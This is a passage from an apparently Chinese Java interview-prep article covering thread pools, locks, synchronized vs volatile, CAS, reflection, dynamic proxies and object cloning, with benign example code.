  scheduledThreadPool.scheduleAtFixedRate(newRunnable(){    
    @Override      
    public void run() {
       System.out.println("延迟1秒后每三秒执行一次");
     }
   },1,3,TimeUnit.SECONDS);
 }

}

表示延迟1秒后每3秒执行一次。
 

  1. newSingleThreadExecutor

创建一个使用单个 worker 线程的 Executor,以无界队列方式来运行该线程。(注意,如果因为在关闭前的执行期间出现失败而终止了此单个线程,那么如果需要,一个新线程将代替它执行后续的任务)。可保证顺序地执行各个任务,并且在任意给定的时间不会有多个线程是活动的。与其他等效的 newFixedThreadPool(1)不同,可保证无需重新配置此方法所返回的执行程序即可使用其他的线程。

public static ExecutorService newSingleThreadExecutor()

public class ThreadPoolExecutorTest {  
  public static void main(String[] args) {

//单线程的线程池,线程异常结束,会创建一个新的线程,能确保任务按提交顺序执行
    ExecutorService singleThreadPool= Executors.newSingleThreadExecutor();    

//测试单线程的线程池
    for(int i=1;i<=5;i++){      
      int index=i;      
    singleThreadPool.execute(new Runnable(){
       @Override
       public void run() {         
        try{
         System.out.println("第"+index+"个线程");
        Thread.sleep(2000);
         }catch(InterruptedException e) {            
          e.printStackTrace();
        }
      } });
    }
  }
}

45.线程池都有哪些状态?

线程池状态:

线程池的5种状态:RUNNING、SHUTDOWN、STOP、TIDYING、TERMINATED。

见 ThreadPoolExecutor 源码

// runState is stored in the high-order bits
    private static final int RUNNING    = -1 << COUNT_BITS;
    private static final int SHUTDOWN   =  0 << COUNT_BITS;
    private static final int STOP       =  1 << COUNT_BITS;
    private static final int TIDYING    =  2 << COUNT_BITS;
    private static final int TERMINATED =  3 << COUNT_BITS;

 

  1. RUNNING:线程池一旦被创建,就处于 RUNNING 状态,任务数为 0,能够接收新任务,对已排队的任务进行处理。

  2. SHUTDOWN:不接收新任务,但能处理已排队的任务。调用线程池的 shutdown() 方法,线程池由 RUNNING 转变为 SHUTDOWN 状态。

  3. STOP:不接收新任务,不处理已排队的任务,并且会中断正在处理的任务。调用线程池的 shutdownNow() 方法,线程池由(RUNNING 或 SHUTDOWN ) 转变为 STOP 状态。

  4. TIDYING:

  • SHUTDOWN 状态下,任务数为 0, 其他所有任务已终止,线程池会变为 TIDYING 状态,会执行 terminated() 方法。线程池中的 terminated() 方法是空实现,可以重写该方法进行相应的处理。

  • 线程池在 SHUTDOWN 状态,任务队列为空且执行中任务为空,线程池就会由 SHUTDOWN 转变为 TIDYING 状态。

  • 线程池在 STOP 状态,线程池中执行中任务为空时,就会由 STOP 转变为 TIDYING 状态。

  1. TERMINATED:线程池彻底终止。线程池在 TIDYING 状态执行完 terminated() 方法就会由 TIDYING 转变为 TERMINATED 状态。

状态转换如图



 

JDK 源码中的解释如下

状态:

The runState provides the main lifecyle control, taking on values:

  RUNNING:  Accept new tasks and process queued tasks
  SHUTDOWN: Don't accept new tasks, but process queued tasks
  STOP:     Don't accept new tasks, don't process queued tasks,
            and interrupt in-progress tasks
  TIDYING:  All tasks have terminated, workerCount is zero,
            the thread transitioning to state TIDYING
            will run the terminated() hook method
  TERMINATED: terminated() has completed

 

状态间的变化

RUNNING -> SHUTDOWN
   On invocation of shutdown(), perhaps implicitly in finalize()
(RUNNING or SHUTDOWN) -> STOP
   On invocation of shutdownNow()
SHUTDOWN -> TIDYING
   When both queue and pool are empty
STOP -> TIDYING
   When pool is empty
TIDYING -> TERMINATED
   When the terminated() hook method has completed

Threads waiting in awaitTermination() will return when the
state reaches TERMINATED.

46.线程池中 submit()和 execute()方法有什么区别?

submit() 和 execute()都可以开启线程执行池中的任务。但是 submit()可以提交指定的任务去执行并且返回Future对象,即执行的结果。

区别:

  1. 接收的参数不一样
public class MainTest {

    public static void main(String[] args) throws Exception {
        ExecutorService pool = Executors.newFixedThreadPool(10);
        pool.execute(new Runnable() {
            @Override
            public void run() {
                System.out.println("execute");
            }
        });

        Future<?> submit = pool.submit(new Runnable() {
            @Override
            public void run() {
                System.out.println("submit");
            }
        });
        //等任务执行完毕会打印null
        System.out.println(submit.get());

        FutureTask<Integer> submit2 = (FutureTask<Integer>) pool.submit(new Callable<Integer>() {
            @Override
            public Integer call() throws Exception {
                System.out.println("submit_2");
                return 2;
            }
        });
        System.out.println("result=" + submit2.get());
    }

}

 

  1. 返回值不一样
  • submit有Future < T > 类型的返回值,而execute没有。
  1. submit方便Exception处理
  • 感知这些exception并做出及时的处理,那么就需要用到submit,通过捕获Future.get抛出的异常。
public class MainTest {

    public static void main(String[] args) throws Exception {
        ExecutorService pool = Executors.newFixedThreadPool(10);

        Future submit = pool.submit(new Runnable() {
            @Override
            public void run() {
                System.out.println("submit");
                System.out.println(0/0);
            }
        });
        try {
            System.out.println("result=" + submit.get());
        }catch (Exception e){
            System.out.println(e);
        }
    }

}

47.在 java 程序中怎么保证多线程的运行安全?

  1. 使用synchronied关键字,可以用于代码块,方法(静态方法,同步锁是当前字节码对象;实例方法,同步锁是实例对象)

  2. 使用volatile 关键字,防止指令重排,被volatile修饰的变量的值,将不会被本地线程缓存,所有对该变量的读写都是直接操作共享内存,从而确保多个线程能正确的处理该变量

  3. lock锁机制

手动锁示例代码:

Lock lock = new ReentrantLock();
lock. lock();
try {
    System. out. println("获得锁");
} catch (Exception e) {
    // TODO: handle exception
} finally {
    System. out. println("释放锁");
    lock. unlock();
}
  1. 使用线程安全的类,比如Vector、HashTable、StringBuffer
     

原文链接:拓展内容
原文链接:密密麻麻的百度文章(未看)
原文链接:概念
原文链接:博客长文多段代码(未看)
 

拓展

线程的安全性问题体现在:

  • 原子性:一个或者多个操作在 CPU 执行的过程中不被中断的特性。线程切换带来的原子性问题

  • 可见性:一个线程对共享变量的修改,另外一个线程能够立刻看到。缓存导致的可见性问题

  • 有序性:程序执行的顺序按照代码的先后顺序执行。编译优化带来的有序性问题

解决办法:

  • 原子性问题: JDK Atomic开头的原子类、synchronized、LOCK

  • 可见性问题: synchronized、volatile、LOCK

  • 有序性问题: Happens-Before 规则

Happens-Before 规则如下:

  • 程序次序规则:在一个线程内,按照程序控制流顺序,书写在前面的操作先行发生于书写在后面的操作

  • 管程锁定规则:一个unlock操作先行发生于后面对同一个锁的lock操作

  • volatile变量规则:对一个volatile变量的写操作先行发生于后面对这个变量的读操作

  • 线程启动规则:Thread对象的start()方法先行发生于此线程的每一个动作

  • 线程终止规则:线程中的所有操作都先行发生于对此线程的终止检测

  • 线程中断规则:对线程interrupt()方法的调用先行发生于被中断线程的代码检测到中断事件的发生

  • 对象终结规则:一个对象的初始化完成(构造函数执行结束)先行发生于它的finalize()方法的开始

48.多线程锁的升级原理是什么?

什么是锁升级(锁膨胀)?

  JVM优化synchronized的运行机制,当JVM检测到不同的竞争状态时,就会根据需要自动切换到合适的锁,这种切换就是锁的升级。升级是不可逆的,也就是说只能从低到高,也就是偏向-->轻量级-->重量级,不能够降级

  锁级别:无锁->偏向锁->轻量级锁->重量级锁
 

无锁:没有对资源进行锁定,所有的线程都能访问并修改同一个资源,但同时只有一个线程能修改成功,其他修改失败的线程会不断重试直到修改成功。
 

偏向锁:对象的代码一直被同一线程执行,不存在多个线程竞争,该线程在后续的执行中自动获取锁,降低获取锁带来的性能开销。偏向锁,指的就是偏向第一个加锁线程,该线程是不会主动释放偏向锁的,只有当其他线程尝试竞争偏向锁才会被释放。

偏向锁的撤销,需要在某个时间点上没有字节码正在执行时,先暂停拥有偏向锁的线程,然后判断锁对象是否处于被锁定状态。如果线程不处于活动状态,则将对象头设置成无锁状态,并撤销偏向锁;

如果线程处于活动状态,升级为轻量级锁的状态。
 

轻量级锁:轻量级锁是指当锁是偏向锁的时候,被第二个线程 B 所访问,此时偏向锁就会升级为轻量级锁,线程 B 会通过自旋的形式尝试获取锁,线程不会阻塞,从而提高性能。

当前只有一个等待线程,则该线程将通过自旋进行等待。但是当自旋超过一定的次数时,轻量级锁便会升级为重量级锁;当一个线程已持有锁,另一个线程在自旋,而此时又有第三个线程来访时,轻量级锁也会升级为重量级锁。
 

重量级锁:指当有一个线程获取锁之后,其余所有等待获取该锁的线程都会处于阻塞状态。

重量级锁通过对象内部的监视器(monitor)实现,而其中 monitor 的本质是依赖于底层操作系统的 Mutex Lock 实现,操作系统实现线程之间的切换需要从用户态切换到内核态,切换成本非常高。

49.什么是死锁?

一、定义

  线程死锁是指由于两个或者多个线程互相持有对方所需要的资源,导致这些线程处于等待状态,无法前往执行。当线程进入对象的synchronized代码块时,便占有了资源,直到它退出该代码块或者调用wait方法,才释放资源,在此期间,其他线程将不能进入该代码块。当线程互相持有对方所需要的资源时,会互相等待对方释放资源,如果线程都不主动释放所占有的资源,将产生死锁。

当然死锁的产生是必须要满足以下4个比要素: 
1.互斥条件:进程对于所分配到的资源具有排它性,即一个资源只能被一个进程占用,直到被该进程释放 
2.请求和保持条件:一个进程因请求被占用资源而发生阻塞时,对已获得的资源保持不放。 
3.不剥夺条件:任何一个资源在没被该进程释放之前,任何其他进程都无法对他剥夺占用 
4.循环等待条件:当发生死锁时,所等待的进程必定会形成一个环路(类似于死循环),造成永久阻塞。

如何预防死锁?

  • 资源一次性分配:一次性分配所有资源,这样就不会再有请求了:(破坏请求条件)
  • 只要有一个资源得不到分配,也不给这个进程分配其他的资源:(破坏请保持条件)
  • 可剥夺资源:即当某进程获得了部分资源,但得不到其它资源,则释放已占有的资源(破坏不可剥夺条件)
  • 资源有序分配法:系统给每类资源赋予一个编号,每一个进程按编号递增的顺序请求资源,释放则相反(破坏环路等待条件)

死锁检测

1.Jstack命令

  jstack是java虚拟机自带的一种堆栈跟踪工具。jstack用于生成java虚拟机当前时刻的线程快照。线程快照是当前java虚拟机内每一条线程正在执行的方法堆栈的集合,生成线程快照的主要目的是定位线程出现长时间停顿的原因,如线程间死锁、死循环、请求外部资源导致的长时间等待等。 线程出现停顿的时候通过jstack来查看各个线程的调用堆栈,就可以知道没有响应的线程到底在后台做什么事情,或者等待什么资源。 如果java程序崩溃生成core文件,jstack工具可以用来获得core文件的java stack和native stack的信息,从而可以轻松地知道java程序是如何崩溃和在程序何处发生问题。另外,jstack工具还可以附属到正在运行的java程序中,看到当时运行的java程序的java stack和native stack的信息, 如果现在运行的java程序呈现hung的状态,jstack是非常有用的。

2.JConsole工具

  Jconsole是JDK自带的监控工具,在JDK/bin目录下可以找到。它用于连接正在运行的本地或者远程的JVM,对运行在Java应用程序的资源消耗和性能进行监控,并画出大量的图表,提供强大的可视化界面。而且本身占用的服务器内存很小,甚至可以说几乎不消耗。

50.怎么防止死锁?

如何预防死锁?

  • 资源一次性分配:一次性分配所有资源,这样就不会再有请求了:(破坏请求条件)
  • 只要有一个资源得不到分配,也不给这个进程分配其他的资源:(破坏请保持条件)
  • 可剥夺资源:即当某进程获得了部分资源,但得不到其它资源,则释放已占有的资源(破坏不可剥夺条件)
  • 资源有序分配法:系统给每类资源赋予一个编号,每一个进程按编号递增的顺序请求资源,释放则相反(破坏环路等待条件)

死锁检测

1.Jstack命令

  jstack是java虚拟机自带的一种堆栈跟踪工具。jstack用于生成java虚拟机当前时刻的线程快照。线程快照是当前java虚拟机内每一条线程正在执行的方法堆栈的集合,生成线程快照的主要目的是定位线程出现长时间停顿的原因,如线程间死锁、死循环、请求外部资源导致的长时间等待等。 线程出现停顿的时候通过jstack来查看各个线程的调用堆栈,就可以知道没有响应的线程到底在后台做什么事情,或者等待什么资源。 如果java程序崩溃生成core文件,jstack工具可以用来获得core文件的java stack和native stack的信息,从而可以轻松地知道java程序是如何崩溃和在程序何处发生问题。另外,jstack工具还可以附属到正在运行的java程序中,看到当时运行的java程序的java stack和native stack的信息, 如果现在运行的java程序呈现hung的状态,jstack是非常有用的。

2.JConsole工具

  Jconsole是JDK自带的监控工具,在JDK/bin目录下可以找到。它用于连接正在运行的本地或者远程的JVM,对运行在Java应用程序的资源消耗和性能进行监控,并画出大量的图表,提供强大的可视化界面。而且本身占用的服务器内存很小,甚至可以说几乎不消耗。

51.ThreadLocal 是什么?有哪些使用场景?

ThreadLocal 是线程本地存储,在每个线程中都创建了一个 ThreadLocalMap 对象,每个线程可以访问自己内部 ThreadLocalMap 对象内的 value。通过这种方式,避免资源在多线程间共享。

经典的使用场景是为每个线程分配一个 JDBC 连接 Connection。这样就可以保证每个线程的都在各自的 Connection 上进行数据库的操作,不会出现 A 线程关了 B线程正在使用的 Connection; 还有 Session 管理 等问题。

52.说一下 synchronized 底层实现原理?

synchronized是由一对monitorenter和monitorexit指令来实现同步的,在JDK6之前,monitor的实现是依靠操作系统内部的互斥锁来实现的,所以需要进行用户态和内核态的切换,所以此时的同步操作是一个重量级的操作,性能很低。

但是,JDK6带来了新的变化,提供了三种monitor的实现方式,分别是偏向锁,轻量级锁和重量级锁,即锁会先从偏向锁再根据情况逐步升级到轻量级锁和重量级锁。

这就是锁升级

在锁对象的对象头里面有一个threadid字段,默认情况下为空,当第一次有线程访问时,则将该threadid设置为当前的线程id,我们称为让其获取偏向锁,当线程执行结束,则重新将threadid设置为空。

之后,如果线程再次进入的时候,会先判断threadid与该线程的id是否一致,如果一致,则可以获取该对象,如果不一致,则发生锁升级,从偏向锁升级为轻量级锁

轻量级锁的工作模式是通过自旋循环的方式来获取锁,看对方线程是否已经释放了锁,如果执行一定次数之后,还是没有获取到锁,则发生锁升级,从轻量级锁升级为重量级锁

使用锁升级的目的是为了减少锁带来的性能消耗。

通过反编译查看字节码,就可以看到相关的指令

javap -verbose Test.class

源码:就是写了synchronized同步代码块控制线程安全

Code:
      stack=2, locals=4, args_size=1
         0: new           #2                  // class java/lang/Object
         3: dup
         4: invokespecial #1                  // Method java/lang/Object."<init>":()V
         7: astore_1
         8: aload_1
         9: dup
        10: astore_2
        11: monitorenter
        12: getstatic     #3                  // Field java/lang/System.out:Ljava/io/PrintStream;
        15: ldc           #4                  // String 获得锁
        17: invokevirtual #5                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
        20: aload_2
        21: monitorexit
        22: goto          30
        25: astore_3
        26: aload_2
        27: monitorexit
        28: aload_3
        29: athrow
        30: return

synchronized如何保证可见性的?

首先,我们需要知道可见性原理

两个线程如何保证变量信息的共享可见性?需要经历以下的流程

线程A-》本地内存A(共享变量副本)-》主内存(共享变量)

如果有变更,需要将本地内存的变量写到主内存,对方才可以获取到更新。

这个是提前知识。

那么,synchronized是如何保证可见性的

就是当获取到锁之后,每次读取都是从主内存读取,当释放锁的时候,都会将本地内存的信息写到主内存,从而实现可见性

53.synchronized 和 volatile 的区别是什么?

java的线程抽象内存模型中定义了每个线程都有一份自己的私有内存,里面存放自己私有的数据,其他线程不能直接访问,而一些共享数据则存在主内存中,供所有线程进行访问。
如果线程A和线程B要进行通信,就要经过主内存,比如线程B要获取线程A修改后的共享变量的值,要经过下面两步:
     (1)、线程A修改自己的共享变量副本,并刷新到了主内存中。
     (2)、线程B读取主内存中被A更新过的共享变量的值,同步到自己的共享变量副本中。

java多线程中的原子性、可见性、有序性

     (1)、原子性:是指线程的多个操作是一个整体,不能被分割,要么就不执行,要么就全部执行完,中间不能被打断。
     (2)、可见性:是指线程之间的可见性,就是一个线程修改后的结果,其他的线程能够立马知道。
     (3)、有序性:为了提高执行效率,java中的编译器和处理器可以对指令进行重新排序,重新排序会影响多线程并发的正确性,有序性就是要保证不进行重新排序(保证线程操作的执行顺序)。

volatile关键字的作用

其实volatile关键字的作用就是保证了可见性和有序性(不保证原子性),如果一个共享变量被volatile关键字修饰,那么如果一个线程修改了这个共享变量后,其他线程是立马可知的。为什么是这样的呢?比如,线程A修改了自己的共享变量副本,这时如果该共享变量没有被volatile修饰,那么本次修改不一定会马上将修改结果刷新到主存中,如果此时B去主存中读取共享变量的值,那么这个值就是没有被A修改之前的值。如果该共享变量被volatile修饰了,那么本次修改结果会强制立刻刷新到主存中,如果此时B去主存中读取共享变量的值,那么这个值就是被A修改之后的值了。
volatile能禁止指令重新排序,在指令重排序优化时,在volatile变量之前的指令不能在volatile之后执行,在volatile之后的指令也不能在volatile之前执行,所以它保证了有序性。

synchronized关键字的作用

synchronized提供了同步锁的概念,被synchronized修饰的代码段可以防止被多个线程同时执行,必须一个线程把synchronized修饰的代码段都执行完毕了,其他的线程才能开始执行这段代码。
因为synchronized保证了在同一时刻,只能有一个线程执行同步代码块,所以执行同步代码块的时候相当于是单线程操作了,那么线程的可见性、原子性、有序性(线程之间的执行顺序)它都能保证了。

volatile关键字和synchronized关键字的区别

     (1)、volatile只能作用于变量,使用范围较小。synchronized可以用在变量、方法、类、同步代码块等,使用范围比较广。
     (2)、volatile只能保证可见性和有序性,不能保证原子性。而可见性、有序性、原子性synchronized都可以包证。
     (3)、volatile不会造成线程阻塞。synchronized可能会造成线程阻塞。

54.synchronized 和 Lock 有什么区别?

区别如下:

  1. 来源: 
    lock是一个接口,而synchronized是java的一个关键字,synchronized是内置的语言实现;

  2. 异常是否释放锁: 
    synchronized在发生异常时候会自动释放占有的锁,因此不会出现死锁;而lock发生异常时候,不会主动释放占有的锁,必须手动unlock来释放锁,可能引起死锁的发生。(所以最好将同步代码块用try catch包起来,finally中写入unlock,避免死锁的发生。)

  3. 是否响应中断 
    lock等待锁过程中可以用interrupt来中断等待,而synchronized只能等待锁的释放,不能响应中断;

  4. 是否知道获取锁 
    Lock可以通过trylock来知道有没有获取锁,而synchronized不能;

  5. Lock可以提高多个线程进行读操作的效率。(可以通过readwritelock实现读写分离)

  6. 在性能上来说,如果竞争资源不激烈,两者的性能是差不多的,而当竞争资源非常激烈时(即有大量线程同时竞争),此时Lock的性能要远远优于synchronized。所以说,在具体使用时要根据适当情况选择。

  7. synchronized使用Object对象本身的wait 、notify、notifyAll调度机制,而Lock可以使用Condition进行线程之间的调度,

//Condition定义了等待/通知两种类型的方法
Lock lock=new ReentrantLock();
Condition condition=lock.newCondition();
...
condition.await();
...
condition.signal();
condition.signalAll();

1、synchronized和lock的用法区别

synchronized:在需要同步的对象中加入此控制,synchronized可以加在方法上,也可以加在特定代码块中,括号中表示需要锁的对象。

lock:一般使用ReentrantLock类做为锁。在加锁和解锁处需要通过lock()和unlock()显示指出。所以一般会在finally块中写unlock()以防死锁。

2、synchronized和lock性能区别

synchronized是托管给JVM执行的, 
而lock是java写的控制锁的代码。

在Java1.5中,synchronize是性能低效的。因为这是一个重量级操作,需要调用操作接口,导致有可能加锁消耗的系统时间比加锁以外的操作还多。相比之下使用Java提供的Lock对象,性能更高一些。

但是到了Java1.6,发生了变化。synchronize在语义上很清晰,可以进行很多优化,有适应自旋,锁消除,锁粗化,轻量级锁,偏向锁等等。导致在Java1.6上synchronize的性能并不比Lock差。官方也表示,他们也更支持synchronize,在未来的版本中还有优化余地。

2种机制的具体区别: 
synchronized原始采用的是CPU悲观锁机制,即线程获得的是独占锁。独占锁意味着其他线程只能依靠阻塞来等待线程释放锁。而在CPU转换线程阻塞时会引起线程上下文切换,当有很多线程竞争锁的时候,会引起CPU频繁的上下文切换导致效率很低。

而Lock用的是乐观锁方式。所谓乐观锁就是,每次不加锁而是假设没有冲突而去完成某项操作,如果因为冲突失败就重试,直到成功为止。乐观锁实现的机制就是CAS操作(Compare and Swap)。我们可以进一步研究ReentrantLock的源代码,会发现其中比较重要的获得锁的一个方法是compareAndSetState。这里其实就是调用的CPU提供的特殊指令。

现代的CPU提供了指令,可以自动更新共享数据,而且能够检测到其他线程的干扰,而 compareAndSet() 就用这些代替了锁定。这个算法称作非阻塞算法,意思是一个线程的失败或者挂起不应该影响其他线程的失败或挂起的算法。

3、synchronized和lock用途区别

synchronized原语和ReentrantLock在一般情况下没有什么区别,但是在非常复杂的同步应用中,请考虑使用ReentrantLock,特别是遇到下面2种需求的时候。

1.某个线程在等待一个锁的控制权的这段时间需要中断 
2.需要分开处理一些wait-notify,ReentrantLock里面的Condition应用,能够控制notify哪个线程 
3.具有公平锁功能,每个到来的线程都将排队等候

下面细细道来……

先说第一种情况,ReentrantLock的lock机制有2种,忽略中断锁和响应中断锁,这给我们带来了很大的灵活性。比如:如果A、B 2个线程去竞争锁,A线程得到了锁,B线程等待,但是A线程这个时候实在有太多事情要处理,就是一直不返回,B线程可能就会等不及了,想中断自己,不再等待这个锁了,转而处理其他事情。这个时候ReentrantLock就提供了2种机制:可中断/可不中断 
第一,B线程中断自己(或者别的线程中断它),但是ReentrantLock不去响应,继续让B线程等待,你再怎么中断,我全当耳边风(synchronized原语就是如此); 
第二,B线程中断自己(或者别的线程中断它),ReentrantLock处理了这个中断,并且不再等待这个锁的到来,完全放弃。

55.synchronized 和 ReentrantLock 区别是什么?

  • synchronized 竞争锁时会一直等待;ReentrantLock 可以尝试获取锁,并得到获取结果
  • synchronized 获取锁无法设置超时;ReentrantLock 可以设置获取锁的超时时间
  • synchronized 无法实现公平锁;ReentrantLock 可以满足公平锁,即先等待先获取到锁
  • synchronized 控制等待和唤醒需要结合加锁对象的 wait() 和 notify()、notifyAll();ReentrantLock 控制等待和唤醒需要结合 Condition 的 await() 和 signal()、signalAll() 方法
  • synchronized 是 JVM 层面实现的;ReentrantLock 是 JDK 代码层面实现
  • synchronized 在加锁代码块执行完或者出现异常,自动释放锁;ReentrantLock 不会自动释放锁,需要在 finally{} 代码块显示释放

    补充一个相同点:都可以做到同一线程,同一把锁,可重入代码块。

56.说一下 atomic 的原理?

对于简单的data++操作,如果使用synchronized显得有些大材小用,而且会导致线程的串行化,所以这个时候并发包下的Atomic原子类就闪亮登场,比如AtomicInteger。

它可以在保证多线程并发安全的情况下,高性能的并发更新一个值。

多个线程可以并发的执行AtomicInteger的incrementAndGet()方法,意思就是给我把data的值累加1,接着返回累加后最新的值。

实际上,Atomic原子类底层用的不是传统意义的锁机制,而是无锁化的CAS机制,通过CAS机制保证多线程修改一个数值的安全性

那什么是CAS呢?他的全称是:Compare and Set,也就是先比较再设置的意思。

当多个线程同时请求时

首先第一步,我们假设线程一咔嚓一下过来了,然后对AtomicInteger执行incrementAndGet()操作,他底层就会先获取AtomicInteger当前的值,这个值就是0。

此时没有别的线程跟他抢!他也不管那么多,直接执行原子的CAS操作,问问人家说:兄弟,你现在值还是0吗?

如果是,说明没人修改过啊!太好了,给我累加1,设置为1。于是AtomicInteger的值变为1!

接着线程2和线程3同时跑了过来,因为底层不是基于锁机制,都是无锁化的CAS机制,所以他们俩可能会并发的同时执行incrementAndGet()操作。

然后俩人都获取到了当前AtomicInteger的值,就是1

接着线程2抢先一步发起了原子的CAS操作!注意,CAS是原子的,此时就他一个线程在执行!

然后线程2问:兄弟,你现在值还是1吗?如果是,太好了,说明没人改过,我来改成2

好了,此时AtomicInteger的值变为了2。关键点来了:现在线程3接着发起了CAS操作,但是他手上还是拿着之前获取到的那个1啊!

线程3此时会问问说:兄弟,你现在值还是1吗?

噩耗传来!!!这个时候的值是2啊!线程3哭泣了,他说,居然有人在这个期间改过值。算了,那我还是重新再获取一次值吧,于是获取到了最新的值,值为2。

然后再次发起CAS操作,问问,现在值是2吗?是的!太好了,没人改,我抓紧改,此时AtomicInteger值变为3!

    上述整个过程,就是所谓Atomic原子类的原理,没有基于加锁机制串行化,而是基于CAS机制:先获取一个值,然后发起CAS,比较这个值被人改过没?如果没有,就更改值!这个CAS是原子的,别人不会打断你!!

    通过这个机制,不需要加锁这么重量级的机制,也可以用轻量级的方式实现多个线程安全的并发的修改某个数值。

四、反射

57.什么是反射?

 反射主要是指程序可以访问、检测和修改它本身状态或行为的一种能力

Java反射:

      在Java运行时环境中,对于任意一个类,能否知道这个类有哪些属性和方法?对于任意一个对象,能否调用它的任意一个方法

Java反射机制主要提供了以下功能:

  • 在运行时判断任意一个对象所属的类。

  • 在运行时构造任意一个类的对象。

  • 在运行时判断任意一个类所具有的成员变量和方法。

  • 在运行时调用任意一个对象的方法。 

58.什么是 java 序列化?什么情况下需要序列化?

序列化:将 Java 对象转换成字节流的过程。

反序列化:将字节流转换成 Java 对象的过程。

当 Java 对象需要在网络上传输 或者 持久化存储到文件中时,就需要对 Java 对象进行序列化处理。

序列化的实现:类实现 Serializable 接口,这个接口没有需要实现的方法。实现 Serializable 接口是为了告诉 jvm 这个类的对象可以被序列化。

注意事项:

某个类可以被序列化,则其子类也可以被序列化
声明为 static 和 transient 的成员变量,不能被序列化。static 成员变量是描述类级别的属性,transient 表示临时数据
反序列化读取序列化对象的顺序要保持一致

59.动态代理是什么?有哪些应用?

动态代理:在运行时,创建目标类,可以调用和扩展目标类的方法。

Java 中实现动态的方式:

  • JDK 中的动态代理 
  • Java类库 CGLib

应用场景:

  • 统计每个 api 的请求耗时
  • 统一的日志输出
  • 校验被调用的 api 是否已经登录和权限鉴定
  • Spring的 AOP 功能模块就是采用动态代理的机制来实现切面编程

60.怎么实现动态代理?

JDK动态代理:利用反射机制生成一个实现代理接口的匿名类,在调用具体方法前调用InvokeHandler来处理。
CGlib动态代理:利用ASM(开源的Java字节码编辑库,操作字节码)开源包,将代理对象类的class文件加载进来,通过修改其字节码生成子类来处理。

区别:JDK代理只能对实现接口的类生成代理;CGlib是针对类实现代理,对指定的类生成一个子类,并覆盖其中的方法,这种通过继承类的实现方式,不能代理final修饰的类。

强制使用CGlib
 

<!-- proxy-target-class="false"默认使用JDK动态代理 -->
<aop:aspectj-autoproxy proxy-target-class="true"/>

<aop-config proxy-target-class="true">
<!-- 切面详细配置 -->
</aop-config>
/**
 * 目标接口类
 */
public interface UserManager {    
    public void addUser(String id, String password);    
    public void delUser(String id);    
}
/**
 * 接口实现类
 */
public class UserManagerImpl implements UserManager {    
    
    @Override
    public void addUser(String id, String password) {    
        System.out.println("调用了UserManagerImpl.addUser()方法!");
    }    
    
    @Override
    public void delUser(String id) {    
        System.out.println("调用了UserManagerImpl.delUser()方法!");
    }    
}
/**
 * JDK动态代理类
 */
public class JDKProxy implements InvocationHandler {    
    
    // 需要代理的目标对象
    private Object targetObject;    
    
    public Object newProxy(Object targetObject) {
        // 将目标对象传入进行代理    
        this.targetObject = targetObject;
        // 返回代理对象 
        return Proxy.newProxyInstance(targetObject.getClass().getClassLoader(), targetObject.getClass().getInterfaces(), this);
    }    
    
    // invoke方法
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        // 进行逻辑处理的函数
        checkPopedom();
        Object ret = null;
        // 调用invoke方法
        ret = method.invoke(targetObject, args);
        return ret;
    }    
    
    private void checkPopedom() {
        // 模拟检查权限   
        System.out.println("检查权限:checkPopedom()!");    
    }    
} 
/**
 * CGlib动态代理类
 */
 public class CGLibProxy implements MethodInterceptor {    
    
    // CGlib需要代理的目标对象
    private Object targetObject;
    
    public Object createProxyObject(Object obj) {
        this.targetObject = obj;
        Enhancer enhancer = new Enhancer();
        enhancer.setSuperclass(obj.getClass());
        enhancer.setCallback(this);
        Object proxyObj = enhancer.create();
        return proxyObj;
    }
    
    @Override
    public Object intercept(Object proxy, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
        Object obj = null;
        // 过滤方法
        if ("addUser".equals(method.getName())) {
            // 检查权限
            checkPopedom();
        }
        obj = method.invoke(targetObject, args);
        return obj;
    }    
    
    private void checkPopedom() {
        System.out.println("检查权限:checkPopedom()!");
    }
}
/**
 * 测试类
 */
public class ProxyTest {
    
    public static void main(String[] args) {
        UserManager userManager = (UserManager)new CGLibProxy().createProxyObject(new UserManagerImpl());
        System.out.println("CGLibProxy:");
        userManager.addUser("tom", "root");
        System.out.println("JDKProxy:");
        JDKProxy jdkProxy = new JDKProxy();
        UserManager userManagerJDK = (UserManager)jdkProxy.newProxy(new UserManagerImpl());
        userManagerJDK.addUser("tom", "root");
    }
}
// 运行结果
CGLibProxy:
检查权限checkPopedom()!
调用了UserManagerImpl.addUser()方法!
JDKProxy:
检查权限checkPopedom()!
掉用了UserManagerImpl.addUser()方法!

总结:1.JDK代理使用的是反射机制实现aop的动态代理,CGLIB代理使用字节码处理框架asm,通过修改字节码生成子类。所以jdk动态代理的方式创建代理对象效率较高,执行效率较低,cglib创建效率较低,执行效率高;2.JDK动态代理机制是委托机制,具体说动态实现接口类,在动态生成的实现类里面委托hanlder去调用原始实现类方法,CGLIB则使用的继承机制,具体说被代理类和代理类是继承关系,所以代理类是可以赋值给被代理类的,如果被代理类有接口,那么代理类也可以赋值给接口。
 

五、对象拷贝

61.为什么要使用克隆?

想对一个对象进行处理,又想保留原有的数据进行接下来的操作,就需要克隆了,Java语言中克隆针对的是类的实例。

62.如何实现对象克隆?

基本数据类型(boolean,char,byte,short,float,double,long)的复制很简单,比如:

int width = 5;
int height = width;


基本数据类型进行这样复制是没有问题的。

按照上面的方法进行对象的复制,首先自定义一个汽车类,该类有一个color 属性,然后新建一个汽车实例car,然后将car 赋值给car1 即car1= car; 
代码和结果如下:
 

public static void main(String[] args) {

    Car car = new Car();
    car.setColor("white");
    Car car1 = car;

    System.out.println("car color: " + car.getColor());
    System.out.println("car1 color: " + car1.getColor());
}


private static class Car {

    private Car() {
    }

   private String color;

    public void setColor(String color) {
        this.color = color;
    }

    public String getColor() {
        return color;
    }
}

输出结果:

car color: white 
car1 color: white

从打印来看没有什么问题, 那么我们对代码更改如下:

public static void main(String[] args) {

    Car car = new Car();
    car.setColor("white");
    Car car1 = car;
    car1.setColor("blue");

    System.out.println("car color: " + car.getColor());
    System.out.println("car1 color: " + car1.getColor());
}

输出结果:

car color: blue 
car1 color: blue

为什么会出现这种结果呢? 给car1 赋值 结果car 的值也变了。

对car 和car1 操作实际上市操作的同一个对象。 
如何复制对象呢 ? 我们知道所有的类都集成Object, 方法如下:

protected Object clone() throws CloneNotSupportedException {
    if (!(this instanceof Cloneable)) {
        throw new CloneNotSupportedException("Class " + getClass().getName() +
                                             " doesn't implement Cloneable");
    }

    return internalClone();
}

/*
 * Native helper method for cloning.
 */
private native Object internalClone();

